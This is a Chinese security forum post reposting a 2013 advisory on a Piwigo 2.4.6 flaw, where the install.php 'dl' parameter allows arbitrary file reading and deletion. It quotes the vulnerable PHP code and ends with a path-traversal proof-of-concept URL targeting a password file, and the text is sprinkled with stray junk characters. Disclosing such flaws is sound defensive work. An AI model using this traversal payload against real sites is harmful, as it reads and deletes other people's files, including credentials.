找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2093|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。
0 K# h3 E% z6 M; I
* P. J9 J# u& LPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。& D4 S. `* L7 H- D* u$ M- m# _
====================================================================
, u* \4 ]: @5 ?/install.php:
, z1 V$ y' u1 \( W* s-------------/ r! J8 z8 C6 G3 o( |& `, v
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'])), _2 n* z7 }( r8 T$ P2 `
114: {
, A0 @. S1 t: _5 \115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];; ^- X7 Y8 r8 j2 c/ X
116:   header('Cache-Control: no-cache, must-revalidate');
8 n& C* U" j5 Y! h5 B% _) _6 d117:   header('Pragma: no-cache');; W2 b& h7 w' ?4 A. q0 E+ m. o% ~7 H
118:   header('Content-Disposition: attachment; filename="database.inc.php"');$ X( Z+ h$ ?9 K! O7 _; Y9 _0 v
119:   header('Content-Transfer-Encoding: binary');+ U, m2 v' p  f* L
120:   header('Content-Length: '.filesize($filename));
" ]& W' U6 K2 t2 {0 c4 ?121:   echo file_get_contents($filename);3 {4 o4 q# l% Q' q/ A9 H
122:   unlink($filename);
, i: E3 N3 ]" w; a. z, b123:   exit();/ g9 p$ b/ T, e& Z. V( X6 \7 A  m+ s
124: }
7 ]+ J. b8 H! z/ |, W( J====================================================================
5 H9 P8 c! a8 C
3 e! Y1 u0 [: XTested on: Microsoft Windows 7 Ultimate SP1 (EN)( X  C$ l; ?/ T% a; @$ M
           Apache 2.4.2 (Win32)5 d! J, Q5 P! f* c! {
           PHP 5.4.4
1 `# m5 e( k% F+ J: c; \           MySQL 5.5.25a8 s+ \1 `( T- R) @! Q

5 R% L1 r3 l# ^' T6 vVulnerability discovered by Gjoko 'LiquidWorm' Krstic7 m+ I$ S* G( l
                            @zeroscience
6 O& f7 C, G7 Z+ S
4 @8 d7 v  Y2 n& b0 \; hAdvisory ID: ZSL-2013-51277 S1 O7 ?( D% ~/ C/ T! L
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php( y% f, `* k5 }, e* L
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
4 c8 n+ W+ N* ^: f( @" E1 q
2 @) K# _  E  V: ^2 @4 @15.02.2013. J) `* e- r* N1 H: A+ ^4 q

4 [8 K, ~. m8 }9 ~5 D8 ~2 n--
! f2 n5 X3 K# {8 G0 ghttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
- E1 J$ Y& }- j& m) g 5 S6 G1 k0 J/ h2 ~5 P! S2 J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表